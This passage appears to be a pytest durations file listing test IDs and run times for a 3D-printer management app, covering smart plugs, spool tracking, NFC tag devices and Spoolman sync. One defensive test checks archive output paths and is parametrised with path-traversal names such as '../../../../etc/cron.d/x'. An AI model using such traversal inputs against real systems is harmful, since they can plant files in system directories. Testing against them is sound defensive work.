0.19240330066531897, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_starvation_flag_set_on_jumped_items": 0.18521265406161547, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_starvation_guard_jumped_items_first": 0.18638285622000694, + "integration/test_sjf_scheduling.py::TestSJFScheduling::test_starvation_guard_prevents_double_jump": 0.18789615388959646, + "integration/test_slice_archive_output_path_2832.py::TestItStaysInTheArchiveDirectory::test_a_traversing_name_writes_nowhere_else[../../../../etc/cron.d/x]": 0.18513161037117243, + "integration/test_slice_archive_output_path_2832.py::TestItStaysInTheArchiveDirectory::test_a_traversing_name_writes_nowhere_else[../escaped]": 0.19143409375101328, + "integration/test_slice_archive_output_path_2832.py::TestItStaysInTheArchiveDirectory::test_a_traversing_name_writes_nowhere_else[..]": 0.18742538057267666, + "integration/test_slice_archive_output_path_2832.py::TestOrdinaryNamesAreUnchanged::test_a_plain_name_keeps_its_spelling": 0.19366389326751232, + "integration/test_slice_archive_output_path_2832.py::TestTheReportedFailure::test_the_archive_row_points_at_the_file": 0.18582796584814787, + "integration/test_slice_archive_output_path_2832.py::TestTheReportedFailure::test_the_folder_is_one_level_deep": 0.18345406744629145, + "integration/test_slice_archive_output_path_2832.py::TestTheReportedFailure::test_the_slice_lands_on_disk": 0.18832766264677048, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_create_and_list": 0.19830296840518713, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_create_rejects_empty_filament_list": 0.19648319855332375, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_create_rejects_invalid_preset_source": 0.20575815252959728, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_delete_is_soft": 0.2037870492786169, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_delete_not_found": 0.19480542186647654, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_get_by_id": 0.2004579994827509, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_get_not_found": 0.1949140466749668, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_list_empty": 0.2023270297795534, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_list_orders_newest_first": 0.21712476760149002, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_update_filament_list_replaces_wholesale": 0.20084555633366108, + "integration/test_slicer_pipelines_api.py::TestSlicerPipelinesAPI::test_update_partial": 0.20439019985496998, + "integration/test_slot_spool_defaults.py::TestSlotSpoolDefaults::test_a_slot_with_no_spool_answers_nulls_not_404": 0.21216122340410948, + "integration/test_slot_spool_defaults.py::TestSlotSpoolDefaults::test_an_offline_printer_still_answers": 0.20998724829405546, + "integration/test_slot_spool_defaults.py::TestSlotSpoolDefaults::test_answers_for_the_hotend_this_slot_feeds": 0.21426730044186115, + "integration/test_slot_spool_defaults.py::TestSlotSpoolDefaults::test_falls_back_to_the_spools_own_preset_without_an_override": 0.20830601826310158, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_homeassistant_plug": 0.20458834897726774, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_invalid_action": 0.20746945962309837, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_mqtt_plug_returns_error": 0.20614862255752087, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_smart_plug_off": 0.20829921402037144, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_smart_plug_on": 0.20000609010457993, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_control_smart_plug_toggle": 0.2033980991691351, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_homeassistant_plug": 0.19684000685811043, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_homeassistant_plug_missing_entity_id": 0.19126211293041706, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_homeassistant_plug_with_energy_sensors": 0.20706588216125965, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug": 0.21598398964852095, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_energy_only": 0.20876194164156914, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_missing_topic": 0.19411434698849916, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_state_only": 0.20776348933577538, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_topic_only_succeeds": 0.20388670358806849, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_with_multiplier": 0.19801886472851038, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_mqtt_plug_with_separate_topics": 0.20133184641599655, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_plug_with_invalid_printer_id": 0.1981141557916999, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_rest_plug": 0.20269439835101366, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_rest_plug_missing_urls_fails": 0.1986375954002142, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_rest_plug_on_url_only": 0.20200066920369864, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_rest_plug_with_status_and_energy": 0.20395882986485958, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_smart_plug": 0.20163631718605757, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_smart_plug_with_printer": 0.2027080152183771, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_create_tasmota_plug_missing_ip": 0.1952965548262, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_delete_nonexistent_plug": 0.1897428333759308, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_delete_smart_plug": 0.20387554354965687, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_get_homeassistant_plug_status": 0.203446539118886, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_get_smart_plug": 0.20120668318122625, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_get_smart_plug_not_found": 0.1993185319006443, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_get_smart_plug_status": 0.2111690053716302, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_ha_entities_endpoint_not_configured": 0.20770033169537783, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_ha_sensors_endpoint_not_configured": 0.20334105286747217, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_list_smart_plugs_empty": 0.20838408265262842, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_list_smart_plugs_with_data": 0.21628113370388746, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_rest_plug_is_controllable": 10.216495740227401, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_tasmota_discovery_devices": 0.19984322506934404, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_tasmota_discovery_scan": 0.49694223795086145, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_tasmota_discovery_status": 0.24121344555169344, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_tasmota_discovery_stop": 0.2076155934482813, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_auto_off_toggle": 0.215042345225811, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_auto_on_toggle": 0.218536832369864, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_enabled_toggle": 0.6461695246398449, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_ha_energy_sensor_entities": 0.21925392653793097, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_mqtt_plug_separate_multipliers": 0.21716766711324453, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_mqtt_plug_topic": 0.20726399403065443, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_multiple_fields": 0.20721861999481916, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_off_delay_mode": 0.20830749906599522, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_plug_type": 0.21138151176273823, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_rest_plug": 0.2217390537261963, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_schedule_settings": 0.2089904099702835, + "integration/test_smart_plugs_api.py::TestSmartPlugsAPI::test_update_show_in_switchbar": 0.21315896324813366, + "integration/test_sponsor_prompt_api.py::TestSponsorPromptAPI::test_check_returns_show_false_for_empty_install": 0.2063815612345934, + "integration/test_sponsor_prompt_api.py::TestSponsorPromptAPI::test_check_then_dismiss_then_recheck_is_silent": 0.21284264139831066, + "integration/test_sponsor_prompt_api.py::TestSponsorPromptAPI::test_dismiss_requires_milestone": 0.19777889642864466, + "integration/test_sponsor_prompt_api.py::TestSponsorPromptAPI::test_dismiss_returns_204": 0.19479988235980272, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagApiKeyScope::test_key_without_inventory_scope_is_denied": 0.20813267305493355, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagApiKeyScope::test_manage_inventory_key_can_read": 0.21099250297993422, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagApiKeyScope::test_read_status_key_can_read": 0.21810041461139917, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_archived_excluded_by_default": 0.20987002924084663, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_does_not_collide_with_spool_id_route": 0.20268096402287483, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_lookup_by_tag_uid": 0.21500358078628778, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_lookup_by_tray_uuid": 0.20841066259890795, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_lookup_normalizes_input": 0.21017251629382372, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_no_identifier_is_400": 0.19555839523673058, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_no_match_is_404": 0.2039697514846921, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_non_hex_identifier_is_400": 0.19990561343729496, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_tray_uuid_miss_falls_through_to_tag_uid": 0.19913910515606403, + "integration/test_spool_by_tag_lookup.py::TestSpoolByTagLookup::test_tray_uuid_preferred_over_tag_uid": 0.2243983093649149, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_blank_model_is_rejected": 0.19758220855146646, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_duplicate_key_is_rejected_without_losing_the_stored_rows": 0.21947604417800903, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_empty_body_clears_every_override": 0.21115589793771505, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_empty_by_default": 0.19986340403556824, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_put_replaces_rather_than_appends": 0.21003936789929867, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_put_then_get_round_trips": 0.21562008652836084, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_replacing_the_same_key_does_not_trip_the_unique_constraint": 0.20589723158627748, + "integration/test_spool_filament_preset_endpoints.py::TestInternalInventory::test_unknown_spool_is_404": 0.20322368294000626, + "integration/test_spool_filament_preset_endpoints.py::TestSpoolmanInventory::test_duplicate_key_is_rejected_without_losing_the_stored_rows": 0.21894130297005177, + "integration/test_spool_filament_preset_endpoints.py::TestSpoolmanInventory::test_empty_by_default": 0.20112320594489574, + "integration/test_spool_filament_preset_endpoints.py::TestSpoolmanInventory::test_one_spools_overrides_do_not_leak_into_another": 0.2160274488851428, + "integration/test_spool_filament_preset_endpoints.py::TestSpoolmanInventory::test_put_replaces_rather_than_appends": 0.22256724908947945, + "integration/test_spool_filament_preset_endpoints.py::TestSpoolmanInventory::test_put_then_get_round_trips": 0.2050319593399763, + "integration/test_spool_reset_usage.py::TestBulkResetSpoolUsage::test_bulk_reset_does_not_lock_spools": 0.20404578186571598, + "integration/test_spool_reset_usage.py::TestBulkResetSpoolUsage::test_bulk_reset_rejects_empty_list": 0.21135980170220137, + "integration/test_spool_reset_usage.py::TestBulkResetSpoolUsage::test_bulk_reset_rejects_missing_field": 0.19149569980800152, + "integration/test_spool_reset_usage.py::TestBulkResetSpoolUsage::test_bulk_reset_stamps_baseline_only_for_listed_spools": 0.20077673718333244, + "integration/test_spool_reset_usage.py::TestResetSpoolUsage::test_reset_404_for_missing_spool": 0.2044078502804041, + "integration/test_spool_reset_usage.py::TestResetSpoolUsage::test_reset_does_not_lock_spool": 0.20721909031271935, + "integration/test_spool_reset_usage.py::TestResetSpoolUsage::test_reset_preserves_existing_lock": 0.20692889764904976, + "integration/test_spool_reset_usage.py::TestResetSpoolUsage::test_reset_stamps_baseline_without_touching_weight_used": 0.21179341338574886, + "integration/test_spool_reset_usage.py::TestResetSpoolUsage::test_reset_then_print_advances_only_the_counter": 0.20144770201295614, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_get_calibration": 0.20497198775410652, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_set_calibration_factor": 0.2035505147650838, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_set_calibration_factor_zero_delta_400": 0.2010252010077238, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_set_tare_offset": 0.20758904330432415, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_tare_queues_command": 0.20964619982987642, + "integration/test_spoolbuddy.py::TestCalibrationEndpoints::test_tare_unknown_device_404": 0.2020334294065833, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_broadcasts_online_when_already_online": 0.20029720850288868, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_broadcasts_online_when_was_offline": 0.2028484996408224, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_online_broadcast_is_throttled": 0.20697864051908255, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_returns_pending_command": 0.21060358360409737, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_returns_ssh_public_key": 0.20270616188645363, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_ssh_key_failure_does_not_break_heartbeat": 0.20997250080108643, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_unknown_device_404": 0.20353877265006304, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_heartbeat_updates_status": 0.20171220041811466, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_list_devices": 0.20464292261749506, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_list_devices_empty": 0.19953650049865246, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_re_register_existing_device": 0.20658046193420887, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_register_new_device": 0.20956076961010695, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_unregister_device": 0.20490090548992157, + "integration/test_spoolbuddy.py::TestDeviceEndpoints::test_unregister_device_not_found": 0.19868863094598055, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_get_display_settings": 0.19989708624780178, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_get_display_unknown_device_404": 0.21933582983911037, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_update_display_persists_via_heartbeat": 0.209523418918252, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_update_display_settings": 0.20367188192903996, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_update_display_unknown_device_404": 0.20848368108272552, + "integration/test_spoolbuddy.py::TestDisplayEndpoints::test_update_display_validates_brightness": 0.20953740365803242, + "integration/test_spoolbuddy.py::TestNfcEndpoints::test_tag_removed": 0.20852396730333567, + "integration/test_spoolbuddy.py::TestNfcEndpoints::test_tag_scanned_matched": 0.20186503510922194, + "integration/test_spoolbuddy.py::TestNfcEndpoints::test_tag_scanned_spoolman_mode_skips_local_lookup": 0.2039185045287013, + "integration/test_spoolbuddy.py::TestNfcEndpoints::test_tag_scanned_unmatched": 0.20843753311783075, + "integration/test_spoolbuddy.py::TestNfcEndpoints::test_write_result_clears_duplicate_tag_binding": 0.21871565841138363, + "integration/test_spoolbuddy.py::TestNfcWriteResultExceptionScrubbing::test_exception_text_not_leaked_in_ws_message": 0.1972114834934473, + "integration/test_spoolbuddy.py::TestNfcWriteResultInputValidation::test_malformed_pending_payload_falls_back_to_local": 0.20472868159413338, + "integration/test_spoolbuddy.py::TestNfcWriteResultInputValidation::test_tag_uid_too_long_rejected": 0.20183022879064083, + "integration/test_spoolbuddy.py::TestNfcWriteResultOrphanedSpool::test_local_spool_deleted_before_write_back": 0.20229071471840143, + "integration/test_spoolbuddy.py::TestNfcWriteResultSpoolman::test_failure_does_not_call_spoolman": 0.20696993358433247, + "integration/test_spoolbuddy.py::TestNfcWriteResultSpoolman::test_success_local_spool_writes_to_db": 0.20053568203002214, + "integration/test_spoolbuddy.py::TestNfcWriteResultSpoolman::test_success_updates_spoolman_extra_tag": 0.2074099089950323, + "integration/test_spoolbuddy.py::TestNfcWriteResultSpoolmanSecurityFixes::test_spoolman_client_exception_still_clears_device_state": 0.19913182221353054, + "integration/test_spoolbuddy.py::TestNfcWriteResultSpoolmanSecurityFixes::test_spoolman_not_found_error_broadcasts_link_failed": 0.19782752729952335, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolman::test_404_when_neither_local_nor_spoolman": 0.1989724040031433, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolman::test_data_origin_spoolman_stored_in_payload": 0.2087990427389741, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolman::test_local_spool_used_when_present": 0.20804028026759624, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolman::test_spoolman_spool_queued_when_local_miss": 0.19795571733266115, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolmanSecurityFixes::test_invalid_spoolman_spool_id_returns_502": 0.20272487495094538, + "integration/test_spoolbuddy.py::TestNfcWriteTagSpoolmanSecurityFixes::test_oversized_label_weight_does_not_crash": 0.20195538457483053, + "integration/test_spoolbuddy.py::TestNfcWriteTagWarningsBody::test_no_warnings_key_when_all_fields_present": 0.1998222265392542, + "integration/test_spoolbuddy.py::TestNfcWriteTagWarningsBody::test_warnings_returned_for_missing_color_and_temp": 0.20517974812537432, + "integration/test_spoolbuddy.py::TestScaleEndpoints::test_scale_reading_broadcast": 0.1979651339352131, + "integration/test_spoolbuddy.py::TestScaleEndpoints::test_update_spool_weight_calculates_correctly": 0.20420517213642597, + "integration/test_spoolbuddy.py::TestScaleEndpoints::test_update_spool_weight_full_spool": 0.20583924278616905, + "integration/test_spoolbuddy.py::TestScaleEndpoints::test_update_spool_weight_missing_spool_404": 0.20570455119013786, + "integration/test_spoolbuddy.py::TestScaleEndpoints::test_update_spool_weight_stores_scale_reading": 0.2065716367214918, + "integration/test_spoolbuddy.py::TestSpoolmanClientOrNoneGraceful::test_returns_none_when_init_raises_value_error": 0.21275914646685123, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_command_offline_device_409": 0.19732801988720894, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_command_sets_pending_command": 0.19844127912074327, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_command_unknown_device_404": 0.19797581434249878, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_heartbeat_clears_system_command": 0.21497211325913668, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_invalid_command_rejected": 0.1964037176221609, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_queue_reboot": 0.1957410480827093, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_queue_restart_browser": 0.20410438161343336, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_queue_restart_daemon": 0.1989933429285884, + "integration/test_spoolbuddy.py::TestSystemCommandEndpoints::test_queue_shutdown": 0.19505632389336824, + "integration/test_spoolbuddy.py::TestTagScannedSpoolmanFallback::test_local_match_skips_spoolman": 0.19407844077795744, + "integration/test_spoolbuddy.py::TestTagScannedSpoolmanFallback::test_malformed_spoolman_data_degrades_gracefully": 0.19708455353975296, + "integration/test_spoolbuddy.py::TestTagScannedSpoolmanFallback::test_spoolman_fallback_on_local_miss": 0.20058397389948368, + "integration/test_spoolbuddy.py::TestTagScannedSpoolmanFallback::test_spoolman_fallback_unknown_when_no_spoolman_match": 0.19913615193217993, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_device_response_includes_update_fields": 0.19525081757456064, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_complete_clears_command": 0.2071442911401391, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_error": 0.20794496033340693, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_invalid_status_422": 0.20255128107964993, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_oversized_message_422": 0.20395972952246666, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_unknown_device_404": 0.20254382770508528, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_report_update_status_updating": 0.20647396333515644, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_ssh_public_key_error_does_not_leak_exception_text": 0.19916992541402578, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_trigger_update_already_updating": 0.20177629869431257, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_trigger_update_broadcasts_websocket": 0.2067134827375412, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_trigger_update_offline_device_409": 0.2275353679433465, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_trigger_update_starts_ssh_update": 0.19710182677954435, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_trigger_update_unknown_device_404": 0.195267578586936, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_update_check_returns_version_info": 0.19839751534163952, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_update_check_unknown_device_404": 0.20232619997113943, + "integration/test_spoolbuddy.py::TestUpdateEndpoints::test_update_check_up_to_date": 0.20525428839027882, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_both_levels_none_uses_250g_fallback_and_warns": 0.20674714632332325, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_local_mode_unchanged": 0.2075603101402521, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spool_level_spool_weight_takes_priority": 0.19483929593116045, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spool_level_zero_spool_weight_not_treated_as_missing": 0.1930751195177436, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spoolman_mode_404_when_spool_not_found": 0.1998055148869753, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spoolman_mode_503_on_client_failure": 0.20292669534683228, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spoolman_mode_clamps_remaining_to_zero": 0.1993291936814785, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_spoolman_mode_uses_filament_spool_weight": 0.1981387110427022, + "integration/test_spoolbuddy.py::TestUpdateSpoolWeightSpoolman::test_stale_local_row_does_not_shadow_spoolman": 0.20417037792503834, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_cancel_write": 0.21604986395686865, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_cancel_write_unknown_device_404": 0.2028057873249054, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_result_clears_pending_command": 0.20802811533212662, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_result_failure_broadcasts_error": 0.22872795443981886, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_result_success_links_tag": 0.21819250844419003, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_tag_heartbeat_not_cleared": 0.22955562733113766, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_tag_missing_device_404": 0.20897645503282547, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_tag_missing_spool_404": 0.21979913674294949, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_tag_ndef_data_is_valid": 0.21645862888544798, + "integration/test_spoolbuddy.py::TestWriteTagEndpoints::test_write_tag_queues_command": 0.21947142388671637, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_4_byte_uid_writes_to_extra_tag": 0.19118551816791296, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_link_tag_uid_writes_to_extra_tag": 0.19220850616693497, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_neither_tag_uid_nor_tray_uuid_returns_422": 0.19444554764777422, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_returns_400_when_spoolman_disabled": 0.19556535594165325, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_spool_not_found_returns_404": 0.1934341536834836, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_spoolman_unavailable_returns_503": 0.20480756182223558, + "integration/test_spoolbuddy_spoolman_nfc.py::TestLinkTagToSpoolmanSpool::test_tray_uuid_takes_precedence_over_tag_uid": 0.19866763427853584, + "integration/test_spoolbuddy_spoolman_nfc.py::TestTagScannedBroadcastsTrayUuid::test_local_match_broadcast_includes_tray_uuid": 0.1946398038417101, + "integration/test_spoolbuddy_spoolman_nfc.py::TestTagScannedBroadcastsTrayUuid::test_spoolman_match_broadcast_includes_tray_uuid": 0.19272294081747532, + "integration/test_spoolbuddy_spoolman_nfc.py::TestTagScannedBroadcastsTrayUuid::test_unknown_tag_broadcast_includes_tray_uuid": 0.19305925071239471, + "integration/test_spoolbuddy_spoolman_nfc.py::TestTagScannedBroadcastsTrayUuid::test_unknown_tag_broadcast_tray_uuid_null_when_absent": 0.20551012735813856, + "integration/test_spoolman_ams_sync.py::TestSyncAmsEdgeCases::test_dict_wrapped_ams_format": 0.20561038423329592, + "integration/test_spoolman_ams_sync.py::TestSyncAmsEdgeCases::test_negative_remain_skipped": 0.19625316746532917, + "integration/test_spoolman_ams_sync.py::TestSyncAmsEdgeCases::test_null_remain_skipped": 0.19811639934778214, + "integration/test_spoolman_ams_sync.py::TestSyncAmsEdgeCases::test_remain_above_100_skipped": 0.2348569519817829, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_happy_path_synced_count": 0.2025919770821929, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_invalid_remain_value_skipped": 0.19997471198439598, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_printer_offline_skipped": 0.19746097177267075, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_spool_missing_from_spoolman_skipped": 0.19638017378747463, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_update_spool_full_error_counted_as_skipped": 0.204237911850214, + "integration/test_spoolman_ams_sync.py::TestSyncSpoolmanAmsWeights::test_weight_calculated_correctly": 0.19560242630541325, + "integration/test_spoolman_ams_sync_broadcast.py::test_a_synced_slot_is_broadcast": 0.2029013568535447, + "integration/test_spoolman_ams_sync_broadcast.py::test_an_emptied_slot_is_broadcast": 0.208680578507483, + "integration/test_spoolman_ams_sync_broadcast.py::test_nothing_is_broadcast_when_no_slot_changed": 0.20185161009430885, + "integration/test_spoolman_api.py::TestLinkSpoolMqttConfigure::test_link_spool_mqtt_failure_does_not_prevent_link": 0.21825931314378977, + "integration/test_spoolman_api.py::TestLinkSpoolMqttConfigure::test_link_spool_no_printer_context_no_mqtt": 0.20403579343110323, + "integration/test_spoolman_api.py::TestLinkSpoolMqttConfigure::test_link_spool_realigns_filament_context_to_printer_kp": 0.22754020895808935, + "integration/test_spoolman_api.py::TestLinkSpoolMqttConfigure::test_link_spool_sends_ams_set_filament_with_printer_context": 0.20185296330600977, + "integration/test_spoolman_api.py::TestLinkSpoolMqttConfigure::test_link_spool_uses_printer_manager_not_mqtt_client_state": 0.206552904099226, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_connect_not_enabled": 0.20368809159845114, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_connect_success": 0.20028392039239407, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_disconnect": 0.20429314579814672, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_filaments_not_enabled": 0.19702459406107664, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_filaments_success": 0.20154610741883516, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_empty_tag_excluded": 0.19692901242524385, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_excludes_unlinked": 0.19730953499674797, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_includes_weight_data": 0.21317002549767494, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_missing_weight_fields": 0.20443203579634428, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_not_enabled": 